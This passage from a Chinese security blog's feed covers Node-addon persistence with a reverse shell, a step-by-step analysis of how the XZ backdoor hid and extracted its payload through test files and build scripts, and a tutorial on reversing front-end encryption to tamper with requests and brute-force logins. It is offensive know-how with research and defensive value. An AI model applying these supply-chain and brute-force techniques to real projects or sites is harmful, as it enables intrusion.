→ 调用其中的 run() 方法 → 回到 JS 层装作正常执行完毕。</strong></p><h4 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h4><p>这个时候就会尝试动态加载并反弹shell到VPS上</p><p>示例如下</p><p><img src="/posts/cada0cca/image-20251210180204043.png" alt="image-20251210180204043"></p>]]></content>
    
    
    <summary type="html">利用NodeAddon原生插件实现持久化</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="CVE" scheme="https://blog.sudo.online/tags/CVE/"/>
    
    <category term="Poc" scheme="https://blog.sudo.online/tags/Poc/"/>
    
  </entry>
  
  <entry>
    <title>身份隐藏_无痕系列(3)</title>
    <link href="https://blog.sudo.online/posts/bb65c661/"/>
    <id>https://blog.sudo.online/posts/bb65c661/</id>
    <published>2025-09-05T12:47:43.000Z</published>
    <updated>2025-12-14T13:55:27.131Z</updated>
    
    <content type="html"><![CDATA[<h1 id="APT态势与威胁情报系列"><a href="#APT态势与威胁情报系列" class="headerlink" title="APT态势与威胁情报系列"></a>APT态势与威胁情报系列</h1><p>之前刷公众号看到名为<a href="https://mp.weixin.qq.com/s/-DOHQQq9mCw62_snTD9xOQ?scene=1&click_id=2">APT研究顶级会议</a>的推文，被”保持好奇，永不停止学习”的精神深深打动，于是想要跟随前辈们的脚步，做一个系列，来一场纯粹的探索。</p><p>在我看来，APT 的核心不在于高阶的战术，而是隐藏。身份、流量、痕迹，层层伪装，长期潜伏**。这个系列的目标，就是把公开报告里这些“身份隐藏”的技法拆开，留下冷静的记录，让红队从中学会藏身，蓝队于此着手识别**</p><p>既要推荐“强调身份隐藏”的 APT 报告，又要有实战味。不打磨，不粉饰，直指“大隐隐于市”式的真实干货。下面是几份非常契合这类风格、强调“身份隐藏”的 APT 报告推荐，我将援引以下报告中涉及的事件作为本系列前几话的研究重点</p><p><strong><a href="https://securelist.com/apt-trends-report-q2-2024/113275/">Kaspersky — “Q2 2024 APT 趋势报告”</a></strong></p><p><a href="https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/"><strong>Kaspersky — “Linux 平台 APT 攻击概览”</strong></a></p><p>尽管这些事件在如今看来是比较陈旧的素材，但其构造攻击链条思路的精巧与所谓骗术的优雅,值得在当下蓝队安全体系逐渐完善的”攻防不对等”大情景下给予红队人员更深化的思考</p><h1 id="XZ-后门事件"><a href="#XZ-后门事件" class="headerlink" title="XZ 后门事件"></a>XZ 后门事件</h1><hr><p><strong>聚焦 liblzma backdoor 部分，感受供应链攻击如何做到“隐形入侵 + ”。</strong></p><p><img src="/posts/bb65c661/3bec03dbccac64e053b47158e129fddc.jpg" alt="供应链攻击成最大网络威胁，解决之道关键在人- 安全内参| 决策者的网络安全知识库"></p><h3 id="攻击背景"><a href="#攻击背景" class="headerlink" title="攻击背景"></a>攻击背景</h3><ul><li><strong>时间点</strong>：2024 年 3 月。</li><li><strong>目标组件</strong>：XZ Utils 压缩库（liblzma），被广泛集成在主流 Linux 发行版中。</li><li><strong>利用链条</strong>：因为 <code>liblzma</code> 被 OpenSSH 的 <code>sshd</code> 间接依赖，所以一旦构建过程被污染，就能在 <code>sshd</code> 进程中触发恶意逻辑。</li></ul><h3 id="攻击手法（身份隐藏-供应链渗透）"><a href="#攻击手法（身份隐藏-供应链渗透）" class="headerlink" title="攻击手法（身份隐藏 + 供应链渗透）"></a>攻击手法（身份隐藏 + 供应链渗透）</h3><ol><li><p><strong>长期社工 + 社区潜伏</strong></p><ul><li><p>攻击者以“陈嘉昌”身份混入开源社区，参与开发讨论，伪造贡献记录。</p></li><li><p>在公开场合反复互动，建立“可信开发者”形象。</p></li></ul><p><img src="/posts/bb65c661/1757086555_68bb035b41a1b2e235afe.jpeg" alt="1757086555_68bb035b41a1b2e235afe.png!small?1757086556478"></p></li><li><hr><p><strong>操控构建过程</strong></p><ul><li>恶意代码不是直接写进主分支，而是巧妙地放在测试&#x2F;构建辅助脚本中。</li><li>通过复杂的压缩脚本链条，最终影响到 <code>liblzma</code>，再间接作用于 <code>sshd</code>。</li></ul></li><li><p><strong>后门特性</strong></p><ul><li>在 <code>sshd</code> 进程中植入潜在的远程代码执行能力。</li><li>隐蔽度极高，普通代码审计几乎难以发现，直到二进制行为异常才被揭露。</li></ul></li></ol><p>这是供应链攻击的顶级案例，不仅是技术层面，更是 <strong>身份隐藏+社工渗透+长期潜伏</strong> <strong>的完美结合。</strong></p><h4 id="事件时间线"><a href="#事件时间线" class="headerlink" title="事件时间线"></a>事件时间线</h4><p>2024.01.19 XZ 网站被新维护者 （<a href="https://github.com/JiaT75">jiaT75</a>） 移至 GitHub 页面<br>2024.02.15 .gitignore 中<a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=4323bc3e0c1e1d2037d5e670a3bf6633e8a3031e">新增 </a>“build-to-host.m4”<br>2024.02.23 <a href="https://git.tukaani.org/?p=xz.git;a=commit;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0">引入</a>两个包含恶意脚本阶段的“测试文件”<br>2024.02.24 XZ 5.6.0 发布<br>2024.02.26 <a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7">CMakeLists.txt 提交破坏 </a><a href="https://man7.org/linux/man-pages/man7/landlock.7.html">Landlock</a> 安全功能的内容<br>2024.03.04 后门导致 Valgrind <a href="https://bugzilla.redhat.com/show_bug.cgi?id=2267598">出现问题</a><br>2024.03.09 更新两个“测试文件”，修改 CRC 功能，修复 Valgrind 问题<br>2024.03.09 XZ 5.6.1 发布<br>2024.03.28 发现错误，Debian 和 RedHat 通知<br>2024.03.28 Debian 将 XZ 5.6.1 回<a href="https://tracker.debian.org/news/1515519/accepted-xz-utils-561really545-1-source-into-unstable/">滚</a>至 5.4.5-0.2 版本<br>2024.03.29 OSS-security 邮件<a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">列表发布邮件</a><br>2024.03.29 RedHat 确认后门 XZ 已在 Fedora Rawhide 和 Fedora Linux 40 beta 中<a href="https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users">发布</a><br>2024.03.30 Debian <a href="https://fulda.social/@Ganneff/112184975950858403">关闭</a>构建并启动重建进程<br>2024.04.02 XZ 主开发商<a href="https://tukaani.org/xz-backdoor/">认同</a>后门事件</p><p>更详细的xz <a href="https://research.swtch.com/xz-timeline">开源攻击时间线</a></p><p><img src="/posts/bb65c661/image-20250905191403801.png" alt="image-20250905191403801"></p><h4 id="核心1——长期社工-社区潜伏"><a href="#核心1——长期社工-社区潜伏" class="headerlink" title="核心1——长期社工 + 社区潜伏"></a>核心1——长期社工 + 社区潜伏</h4><p>众所周知，在长期攻防的发展中，<strong>钓鱼&#x2F;近源</strong>攻击在突破外点的工作中起到了越来越重要的作用。为什么？很简单的道理，<strong>防御思维的盲点 是 红队机会</strong></p><p>防御方热衷搞静态分析、模糊测试，偏执于“技术检测”,但对开源技术社区所谓的<strong>社区文化、人力缺口、社交信任</strong>几乎没有防护机制。xz后门事件便成为了血淋淋的例子**，高级的攻击者不和防御机制玩所谓的”签名对抗”，而是接触开源文化，玩信任经济，在社会工程学上不断赢得防御方的正反馈，逐步化身为可信用户植入后门。**下面就讲讲JiaTan的潜伏大戏</p><p><img src="/posts/bb65c661/image-20250905202706841.png" alt="image-20250905202706841"></p><h5 id="2021"><a href="#2021" class="headerlink" title="2021"></a><strong>2021</strong></h5><p>JiaT75（Jia Tan）创建了他们的 GitHub 帐户并打开了一个PR用于修改警告功能中的文本提示，同时利用不安全的变体替换了<em>safe_print</em>，同时<strong>这份代码在没有任何讨论的情况下就被合并了。</strong></p><h5 id="2022"><a href="#2022" class="headerlink" title="2022"></a>2022</h5><p>2022年4月，Jia Tan通过邮件列表提交了补丁,同时出现了一个新角色——<strong>吉加尔·库马尔</strong> ，他向开源社区<strong>施压并不断<a href="https://www.mail-archive.com/xz-devel@tukaani.org/msg00565.html">要求为xz添加另一个维护者</a></strong></p><p>在<strong>向 <em>Lasse Collin</em> 施压添加另一名维护者的电子邮件三天后，JiaT75 首次提交PR给 xz</strong>：<a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=aa75c5563a760aea3aa23d997d519e702e82726b"> 测试：为硬件功能创建了测试。</a> 自从这次提交以来，<strong>他们正式成为 xz 的定期贡献者</strong></p><p>另一个帐户——<a href="https://www.mail-archive.com/search?l=xz-devel@tukaani.org&q=from:%22Dennis+Ens%22"> 丹尼斯·恩斯 （Dennis Ens）</a> 也参与了<strong>施压</strong>，要求**维护者给出XZ for C的维护权。**电子邮件格式相似，姓名+数字格式相似。<strong>这个帐户也从未在 xz 讨论之外出现过，也没有发现任何相关的帐户。</strong></p><p><img src="/posts/bb65c661/image-20250905210554207.png" alt="image-20250905210554207"></p><p>从这些账户特征作为分析的出发点，就可以从中发掘出这极可能是<strong>一场有组织性的开源文化心理压迫</strong>，通过<strong>多个账户向维护者施压并提升关键用户的可信度，并逼迫维护者让权</strong></p><p>本质上就是典型的 <em>astroturfing</em>（人造舆论场）。多个账号协调一致，不断提出“增加维护者&#x2F;交出权限”的要求。邮件往复堆叠，给单一维护者（Lasse Collin）营造持续的心理压力。</p><p><img src="/posts/bb65c661/image-20250905211907001.png" alt="image-20250905211907001"></p><p>利用维护者<strong>精力有限+孤立无援</strong>的状态，通过群体施压逼迫让权。</p><h5 id="2023"><a href="#2023" class="headerlink" title="2023"></a>2023</h5><p>JiaT75 <a href="https://github.com/tukaani-project/xz/pull/7">于 2023 年 1 月 7 日</a>合并了他们的第一次提交，从这天起，他正式进入“可信开发者”行列，具备了在仓库里直接推动变更的能力。</p><p>3 月，Google oss-fuzz 中的主要联系电子邮件<a href="https://github.com/JiaT75/oss-fuzz/commit/6403e93344476972e908ce17e8244f5c2b957dfd">更新为 </a> JiaTan 的，而不是 <em>Lasse Collin</em>。这标明着<strong>JiaTan正式谋权成为了官方维护者之一，项目安全测试的第一手沟通渠道也被转移到JiaTan者手上。</strong></p><p>同时 对应本次供应链的漏洞关键代码也成功落地，<strong>虽然 <em>Lasse Collin</em> 被认为是该漏洞的作者，但 <em>Jia Tan</em> 也参与了该漏洞的开发，该漏洞最初由 <em>Hans Jansen</em> 于 6 月份编写：</strong></p><ul><li>Commit: <a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=ee44863ae88e377a5df10db007ba9bfadde3d314">liblzma: Add ifunc implementation to crc64_fast.c</a></li><li>PR: <a href="https://github.com/tukaani-project/xz/pull/53">Replaced crc64_fast constructor with ifunc by hansjans162</a></li></ul><p>也就是**&#x2F;&#x2F;Hans 写代码 → Jia 推提交 → 署名套到 Lasse。&#x2F;&#x2F;**</p><p><strong>事实证明，黑客可以为了你左右脑互博</strong></p><p><img src="/posts/bb65c661/image-20250905214905134.png" alt="image-20250905214905134"></p><p>对应的,在这里的<strong>Author署名被套到了Lasse</strong></p><p><img src="/posts/bb65c661/image-20250905215039275.png" alt="image-20250905215039275"></p><p>HansJansen的账户在此前后几乎没有任何账户活动，只是<strong>为了将危险代码落地到XZ的官方代码中</strong></p><p>有人生成</p><h5 id="2024"><a href="#2024" class="headerlink" title="2024"></a>2024</h5><p>一个针对 Google <a href="https://github.com/google/oss-fuzz/pull/11587">oss-fuzz 的拉取请求 </a>，把项目 URL 从 <code>tukaani.org/xz/</code> 改成 <code>xz.tukaani.org/xz-utils/</code>。看似是个普通的“项目路径调整”。</p><p>原始域名 <code>tukaani.org</code> 在芬兰的一个主机商上托管，是 Lasse Collin 掌控的基础设施。</p><p>新增的 <code>xz.tukaani.org</code> 子域却指向 <strong>GitHub Pages</strong>，控制权转移到了攻击者能操作的范围。</p><p><strong>结果</strong>：项目外部的官方入口逐步被 Jia 掌控。</p><p>包含执行此后门所需的<strong>最后步骤也被添加到存储库：</strong></p><ul><li><a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0">Tests: Add a few test files</a></li><li><a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=6e636819e8f070330d835fce46289a3ff72a7b89">Tests: Update two test files</a></li></ul><p>后续则是被某个安全研究员发现对应 liblzma模块占用了大量CPU时间，导致了延迟，因此深入的探究并发现了<strong>该漏洞利用链</strong></p><p><img src="/posts/bb65c661/image-20250905221353680.png" alt="image-20250905221353680"></p><h4 id="核心2-——操作构建过程"><a href="#核心2-——操作构建过程" class="headerlink" title="核心2 ——操作构建过程"></a>核心2 ——操作构建过程</h4><p>植入后门的引导程序，是Jia Tan在2024年,也就是潜伏最后阶段提交的两个测试文件[<strong>bad-3-corrupt_lzma2.xz</strong>,<strong>good-large_compressed.lzma</strong>]，这些文件看似无害，但实际上<strong>攻击者可以在需要时提取隐藏在错误数据中的shell脚本与后门。</strong></p><p><img src="/posts/bb65c661/image-20250905222731787.png" alt="image-20250905222731787"></p><p>这一段已经是 <strong>XZ backdoor 的“武器化阶段”</strong>，之前几个月都是打地基、养身份、铺环境，现在是真正让后门能跑起来了</p><h5 id="1-控制分发入口"><a href="#1-控制分发入口" class="headerlink" title="1. 控制分发入口"></a>1. 控制分发入口</h5><ul><li><strong>Github Releases</strong>：表面上发的是正常源码，里面虽然有测试文件但不会直接执行 → 无害。</li><li><strong>xz.tukaani.org</strong>：关键！大多数 Linux 发行版不是从 Github 拉源码，而是从 <strong>xz.tukaani.org（也就是JiaTan在2024年恶意篡改导向他个人接管的gitpage）</strong> 下载。<ul><li>这个子域名已经被 Jia Tan 接管。</li><li>于是 <strong>真正带恶意的版本只在这个 URL 发布</strong>。</li></ul></li></ul><p>这就像在“官方商店”和“供应链仓库”里分别放不同的货，<strong>测试者看到的干净，发行版打包用的却是投毒版。</strong></p><p>大多数发行版都使用此 URL，下载时，它附带一个名为 <strong>build-to-host.m4</strong> 的文件，其中就包含恶意代码。</p><p><img src="/posts/bb65c661/XZ_backdoor_analysis_09-1024x167.png" alt="Deobfuscated line of code in build-to-host.m4"></p><p>它会在构建过程（<code>./configure</code> 阶段）被执行，这意味着只要有人打包&#x2F;编译，就会触发。这行代码主要用 <code>tr</code> 修复一个<strong>看似“坏掉的”测试文件：<code>bad-3-corrupt_lzma2.xz</code></strong>。把修复后的数据管道给 <code>xz -d</code> 解压，<strong>解压的数据隐藏了一个 shell 脚本</strong>，最后使用 <strong>build-to-host.m4</strong> 触发的bin&#x2F;bash执行这个shell脚本</p><h5 id="2-Payload解密上线后门"><a href="#2-Payload解密上线后门" class="headerlink" title="2.Payload解密上线后门"></a>2.Payload解密上线后门</h5><p><img src="/posts/bb65c661/XZ_backdoor_analysis_10-1024x229.png" alt="Injected script contents"></p><p>恶意 <code>.m4</code> 文件释放的shell脚本首先会检查：</p><ul><li>是否在 Linux 系统上运行；</li><li>是否在正确的 build 流程中（避免在错误环境里暴露）</li></ul><p>下一阶段载荷载体：<strong>good-large_compressed.lzma</strong></p><p>文件表面上是“正确压缩的 XZ 测试文件”。</p><p>实际上在解压出来的数据里混入了大量“垃圾字节”，恶意 payload 被埋在其中。</p><p> <strong>伪装点</strong>：文件名里写着“good”，压缩也确实没问题，更容易骗过人工审查。</p><p><strong>因此如何通过清洗下一阶段载荷载体中的垃圾数据，上线后门，shell脚本也有一套非常规的拆分拼接手法</strong></p><p><strong>head 命令流水线</strong>：</p><ul><li>每次要么丢掉 1024 字节，要么提取 2048 或 724 字节。</li><li>循环下来，拼凑出 <strong>33,492 字节</strong>（&#x3D; 2048*16 + 724）。</li></ul><p><strong>tail 命令</strong>：</p><ul><li>在拼接结果里只保留最后 31,265 字节，丢掉其余部分。</li></ul><h5 id="3-解码与执行"><a href="#3-解码与执行" class="headerlink" title="3. 解码与执行"></a>3. 解码与执行</h5><ol><li><code>tr</code>：做字符替换，把字节流进行一次简单位移&#x2F;还原（去混淆）。</li><li><code>xz -d</code>：把转换后的数据再用 <code>xz</code> 解压，得到一段 <strong>原始 LZMA 流</strong>。</li><li><code>pipe → shell</code>：最终把解压结果直接送进 <code>/bin/sh</code> 执行。</li></ol><h5 id="4-最终提取阶段"><a href="#4-最终提取阶段" class="headerlink" title="4. 最终提取阶段"></a>4. 最终提取阶段</h5><p>脚本先确认运行环境是否满足攻击者预设条件：</p><ul><li>项目构建时是否启用了 IFUNC。</li><li>编译器是否为 GCC。</li><li>工程里是否存在攻击脚本需要的两个测试文件。</li></ul><p><img src="/posts/bb65c661/XZ_backdoor_analysis_13-1024x83.png" alt="img"></p><p><strong>后门二进制提取流程</strong></p><p><strong>载体</strong>：依然是 <code>good-large_compressed.lzma</code>，但<strong>这次换了新的偏移位置。</strong></p><p>提取过程通过一系列命令运行，每个命令的结果作为下一个命令的输入。格式化的单行代码如下所示：</p><p><img src="/posts/bb65c661/XZ_backdoor_analysis_04-1024x742.png" alt="Formatted backdoor extraction one-liner"></p><p><strong>操作链条</strong>：</p><ol><li>用 XZ 工具先解压文件。</li><li><code>eval $i</code> 执行一串 <code>head</code> 调用，切割数据流，逐步拼出隐藏 payload。</li><li>用自定义的 <strong>类 RC4 算法</strong> 对数据解密。</li><li>得到另一个压缩文件，再次用 XZ 解压。</li><li>按预定义偏移丢掉数据头的一部分字节，得到最终 payload。</li><li>把结果保存为 <strong><code>liblzma_la-crc64-fast.o</code></strong>。</li></ol><p><strong>意义</strong>：这个 <code>.o</code> 文件就是实打实的后门对象，会在后续 <strong>链接流程</strong> 中直接嵌入 liblzma。</p><p>脚本还会修改 <code>crc_x86_clmul.h</code> 文件里的函数：把 <code>__get_cpuid</code> 改成 <code>_get_cpuid</code>。<strong>避免编译&#x2F;链接时报错，确保恶意 <code>.o</code> 文件能顺利合入最终库。</strong></p><p><strong>这一步是“拼图最后一块”</strong>：没有这行改动，恶意对象可能不会被编译器接受。</p><h3 id="感染链条概览"><a href="#感染链条概览" class="headerlink" title="感染链条概览"></a>感染链条概览</h3><p><strong>入口</strong>：xz 5.6.0 &#x2F; 5.6.1 tarball（从被攻陷的 <code>xz.tukaani.org</code> 下载）。</p><p><strong>构建阶段</strong>：</p><ul><li>调用恶意的 <code>m4/build-to-host.m4</code> 脚本。</li><li>脚本修复并解压 <code>bad-3-corrupt_lzma.xz</code>，释放出第一段 shell 脚本。</li><li>这个脚本再去解压 <code>good-large_compressed.lzma</code> 的一部分。</li></ul><p><strong>后续链条</strong>：</p><ul><li>从 <code>good-large_compressed.lzma</code> 提取加密数据。</li><li>通过 AWK 实现的定制 RC4-like 算法解密。</li><li>再次用 xz 解压得到二进制数据。</li><li>最终落盘成 <code>liblzma_la-crc64-fast.o</code>，在编译&#x2F;链接过程中被嵌入库里。</li></ul><p><img src="/posts/bb65c661/XZ_backdoor_analysis_14-1024x531.png" alt="img"></p><p>由于本系列主要分析的是整条感染链条中JiaTan如何隐藏恶意代码与真实目的，因此对于后门代码的分析暂且搁置，感兴趣的朋友们可以自行查阅<a href="https://securelist.com/xz-backdoor-part-3-hooking-ssh/113007/">XZ后门分析</a>。</p><p><img src="/posts/bb65c661/sl-xz-backdoor-featured-1-1200x600.jpg" alt="img"></p><p>在 XZ 案例中，攻击者直接利用了 <strong>开源文化的人际信任机制</strong>，通过身份渗透、社交压迫、长期 patch 养成，把恶意逻辑塞进了光天化日之下的构建脚本。</p><p>这种 <strong>高度互动的社交工程 + 技术投毒的结合</strong>，是过去大部分 APT 还没玩过的套路。</p><p><img src="/posts/bb65c661/image-20250905231109234.png" alt="image-20250905231109234"></p><h1 id="总结与警示"><a href="#总结与警示" class="headerlink" title="总结与警示"></a>总结与警示</h1><p>XZ backdoor 事件并不是单纯的“代码被投毒”，而是一场 <strong>供应链信任实验</strong>：攻击者在身份层面通过社交工程和长期潜伏撬开了开源社区的信任防线；在技术层面，他们把恶意逻辑嵌进构建流程和测试文件里，环环相扣，直到最终在毫无预警的情况下把后门编译进关键的系统库。</p><p>对红队来说，这说明 <strong>身份与流程的操纵</strong> 已经可以和传统漏洞利用、0day 并列为攻击路径；未来高水平的 APT 行动很可能会把“人 + 代码 + 供应链”三者结合，达到比单纯技术投毒更深的隐匿。</p><p>对蓝队而言，警醒点在于：</p><ul><li>你不能再只盯着二进制里的签名和恶意代码片段；</li><li>你必须把注意力扩展到 <strong>开源生态的人力因素</strong>、<strong>构建链的完整性</strong> 和 <strong>分发渠道的真实性</strong>；</li><li>单靠 fuzz、静态分析、CI 扫描都不够，因为这类攻击压根不是靠 0day，而是靠你习以为常的“流程漏洞”。</li></ul><p>一句话：<strong>如果信任链本身被玩坏，再强的检测也只是摆设。</strong></p><p><img src="/posts/bb65c661/3ef9ba95456a7ecc9c5e9a077db83e52.png" alt="信任"></p>]]></content>
    
    
    <summary type="html">以APT趋势作为导引,发掘一线作战新思路</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="APT" scheme="https://blog.sudo.online/tags/APT/"/>
    
    <category term="身份隐藏" scheme="https://blog.sudo.online/tags/%E8%BA%AB%E4%BB%BD%E9%9A%90%E8%97%8F/"/>
    
  </entry>
  
  <entry>
    <title>JS对抗与逆向_实战篇</title>
    <link href="https://blog.sudo.online/posts/7297c4f4/"/>
    <id>https://blog.sudo.online/posts/7297c4f4/</id>
    <published>2025-08-24T06:20:43.000Z</published>
    <updated>2025-12-14T13:55:27.063Z</updated>
    
    <content type="html"><![CDATA[<h2 id="本质"><a href="#本质" class="headerlink" title="本质"></a>本质</h2><p>JS的对抗 <strong>本质无非就是开发者通过一系列加密算法防止用户恶意爆破，攻击者通过逆向，推测与实践实现自加密逻辑爆破的过程。</strong></p><p><img src="/posts/7297c4f4/image-20250822222901893.png" alt="image-20250822222901893"></p><h2 id="JS逆向"><a href="#JS逆向" class="headerlink" title="JS逆向"></a>JS逆向</h2><p>懂得基础的JS知识，和调试方法，可以移步到<a href="https://blog.sudoer.online/posts/92226b38/">基础篇</a> 这里主要就不讲解如何详细的逆向了，我们直接切入正题： 如何<strong>解决数据包的修改</strong>问题。</p><p> 关于<strong>如何找到JS中的加解密的方法</strong>，不一定非得找到<strong>加解密函数</strong>。无论是APP还是JS中可以先找到<strong>明文点</strong>。</p><p>什么是明文点？</p><p> 在前端进行复杂的请求操作时，肯定会经过一系列从A函数–&gt;B函数–&gt;C函数–&gt;D函数–&gt;E函数之类的流程， 那么在这个流程中，假设D函数是加密函数，那么<strong>ABC函数中原始请求参数</strong>均是明文的，这就是明文点，找到明文点后再一步步调试， 其实就能顺腾摸瓜找到加密函数了。</p><p><img src="/posts/7297c4f4/20240523233615-31294a46-191a-1.png" alt="img"></p><p>这里推荐一个环境靶场:<a href="http://39.98.108.20:8085/">http://39.98.108.20:8085</a></p><p><strong>项目地址</strong></p><p><a href="https://github.com/0ctDay/encrypt-decrypt-vuls/">0ctDay&#x2F;encrypt-decrypt-vuls: 加解密逻辑漏洞靶场 (github.com)</a></p><h3 id="v-jstools"><a href="#v-jstools" class="headerlink" title="v_jstools"></a>v_jstools</h3><p><a href="https://github.com/cilame/v_jstools">cilame&#x2F;v_jstools: 模仿着写一个 chrome 插件，用来快速调试前端 js 代码。 (github.com)</a></p><p>一款比较好用的工具，能够一键监测JS中指定函数的调用</p><p>这里对工具的使用不做过多讲解，感兴趣的直接去看<a href="https://xz.aliyun.com/news/14066">保姆级教程—前端加密的对抗（附带靶场）-先知社区</a>的相关内容</p><h4 id="以简单的例子使用与摸索"><a href="#以简单的例子使用与摸索" class="headerlink" title="以简单的例子使用与摸索"></a>以简单的例子使用与摸索</h4><p>就我而言 摸索了一下 主要还是以<strong>标准hook配置为主</strong></p><p><img src="/posts/7297c4f4/image-20250824150142443.png" alt="image-20250824150142443"></p><p>使用<strong>正确账密123&#x2F;123</strong>并hook调试，取得更多有价值的信息</p><p>当登录成功时，我们可以<strong>以功能点为导向反向推理加密逻辑</strong>.</p><p>可以很清楚的看到数据的完整流动</p><ul><li><p>明文点，用户<strong>传入账密和验证码</strong></p><p><img src="/posts/7297c4f4/image-20250824153903848.png" alt="image-20250824153903848"></p><p><img src="/posts/7297c4f4/image-20250824160538049.png" alt="image-20250824160538049"></p><p>这里可以看见<strong>t.data就是用户传入的信息</strong></p></li><li><p>用户登录认证逻辑 <strong>生成加密载荷并获取服务端响应</strong></p><p><img src="/posts/7297c4f4/image-20250824153750016.png" alt="image-20250824153750016"></p><p>可<strong>结合网络查看请求包内容</strong></p><p><img src="/posts/7297c4f4/image-20250824162223389.png" alt="image-20250824162223389"></p></li><li><p><strong>回显登录成功</strong> 并重定向到<strong>dashboard</strong></p><p><img src="/posts/7297c4f4/image-20250824154809574.png"></p><p><img src="/posts/7297c4f4/image-20250824154847949.png" alt="image-20250824154847949"></p></li></ul><p>这里就完整的实现了<strong>一整套认证逻辑</strong>，本质上也是配合断点一步一步调试 得到<strong>完整的数据传输日志，同时也能利用函数步过大致定位到对应的加密逻辑</strong></p><p><img src="/posts/7297c4f4/image-20250824162036799.png" alt="image-20250824162036799"></p><p><img src="/posts/7297c4f4/image-20250824155941125.png" alt="image-20250824155941125"></p><p>在这样的定位过程中 就能确定经过 <code>t.data = l(n)</code>后，data内容为密文，<strong>结合前面对登录功能点的推测与跟进，可确定t.data 即为 加密后的内容， 那么l() 函数即为加密函数</strong></p><p><img src="/posts/7297c4f4/image-20250824162317893.png" alt="image-20250824162317893"></p><p>这个时候<strong>就可以进行跟进</strong>，典型的AES加密,甚至下面就是解密函数。<strong>其中t参数为原始的内容，f参数为密钥，h为密码。</strong></p><p><img src="/posts/7297c4f4/image-20250824162401524.png" alt="image-20250824162401524"></p><p>同时所谓的签名 时间戳防绕也可以在最开始定位的加密逻辑中找到，<strong>那么这个时候就可以愉快的写脚本实现爆破了</strong>。</p><p><img src="/posts/7297c4f4/20240523233916-9d3c35e0-191a-1.png" alt="img"></p><h5 id="1-为什么不用搜索的方式"><a href="#1-为什么不用搜索的方式" class="headerlink" title="1. 为什么不用搜索的方式"></a>1. 为什么不用搜索的方式</h5><p> 如果能搜索到当然好，比如这个环境可以直接通过搜索AES的方式找到上下文。</p><p> 但现在大部分webpack项目都自带混淆，在生产环境中许多变量和字符无法直接搜索，即使搜索到了阅读上下文也看不懂代码到底是个什么意思。</p><h5 id="2-明文点"><a href="#2-明文点" class="headerlink" title="2. 明文点"></a>2. 明文点</h5><p> 上文提到明文点，在这个过程中我们跟踪的两个函数都是明文点，一个是v_jstools 提示的函数位置 u.interceptors.request.use((function(t){} ，还有一个是l()函数。<strong>生产情况下，我们可能无法直接分析出该函数的作用，即便看不懂，也是大有用处，</strong></p><h2 id="改包手法"><a href="#改包手法" class="headerlink" title="改包手法"></a>改包手法</h2><p>主流的修改方式。</p><p><strong>分类</strong></p><p>1、 修改当前的数据包</p><p>浏览器<strong>发包</strong>后，代理到burp上或通过其他的形式修改这个数据包的内容，主要<strong>针对当前数据包的修改</strong></p><p>场景： 分析请求参数、添加额外参数、绕过前端校验等等</p><p>2、主动发包的加密与解密</p><p><strong>脱离浏览器， 主动发包并加密， 对响应的数据包解密</strong></p><p>场景： 自动化工具插入漏洞payload、暴力破解、重放测试等</p><h3 id="修改当前数据包"><a href="#修改当前数据包" class="headerlink" title="修改当前数据包"></a>修改当前数据包</h3><h4 id="作用域修改法"><a href="#作用域修改法" class="headerlink" title="作用域修改法"></a><strong>作用域修改法</strong></h4><p>这里有个账号: test 密码:123</p><p>首先我们在表单处输入 test 密码 1234，很明显我们是无法登录的。</p><p>这时我们进入到调试中，走到加密前的一步，直接在作用域中修改即可登录成功</p><p><img src="/posts/7297c4f4/20240523233945-adfa0452-191a-1.png" alt="img"></p><p>这个方式需要在加密启动和签名加签的同时启动</p><h4 id="JS-forward"><a href="#JS-forward" class="headerlink" title="JS-forward"></a><strong>JS-forward</strong></h4><p> 首先我们了解一下JS-forward运行原理，简单来说就是在明文点处插入一段JS代码，<strong>这段代码先通过AJAX请求将现有的请求内容发送给burpsuite，burpsuite拦截并修改内容后，返回到原始变量中，优点是操作比较统一，如果明文点正确，后续所有的改包操作都可以在burpsuite中进行</strong></p><p><img src="/posts/7297c4f4/20240523234017-c19dc07a-191a-1.png" alt="img"></p><p><em>a. 找到明文点</em></p><p>工具链接:<strong><a href="https://github.com/G-Security-Team/JS-Forward">JS-Forward</a></strong></p><p>确认明文变量名，然后启动JS-forward</p><p>这里我们需要将变量名向前看一点，确认明文变量就是t.data</p><p><img src="/posts/7297c4f4/20240523234033-caf98fbe-191a-1.png" alt="img"></p><p>启动JS-forward</p><p>输入变量名: t.data</p><p>输入数据类型： json (JS原始对象也可设置为JSON)</p><p>输入请求标识： REQUEST</p><blockquote><p>这里的请求标识仅仅作为标识使用， 没有任何意义， 主要是为了在burpsuite中区分请求包和响应包</p></blockquote><p>输入$end 结束后， 会监听2个端口 分别是38080， 28080， 还会生成一段JS代码我们留作后续使用。</p><p><img src="/posts/7297c4f4/20240523234050-d536307c-191a-1.png" alt="img"></p><p><em>b. 插入JS代码</em></p><p>JS-forward 的使用<strong>尽量在明文点的函数第一行插入相关代码，因为不知道后续代码会做什么样的操作。</strong></p><p>具体的插入方式</p><p>b1： 找到F12–源代码–替换（覆盖）–点击选择文件夹–选择我们硬盘中一个空文件夹</p><p><img src="/posts/7297c4f4/20240523234108-dffd295c-191a-1.png" alt="img"></p><p>如果浏览器<strong>有提示点击允许</strong></p><p><img src="/posts/7297c4f4/20240523234126-ea58f2fa-191a-1.png" alt="img"></p><p>具体的插入方式</p><p>b1： 找到F12–源代码–替换（覆盖）–点击选择文件夹–选择我们硬盘中一个空文件夹</p><p><img src="/posts/7297c4f4/20240523234108-dffd295c-191a-1-1756260667969-13.png" alt="img"></p><p><img src="/posts/7297c4f4/20240523234139-f2164b78-191a-1.png" alt="img"></p><p>b2: 在 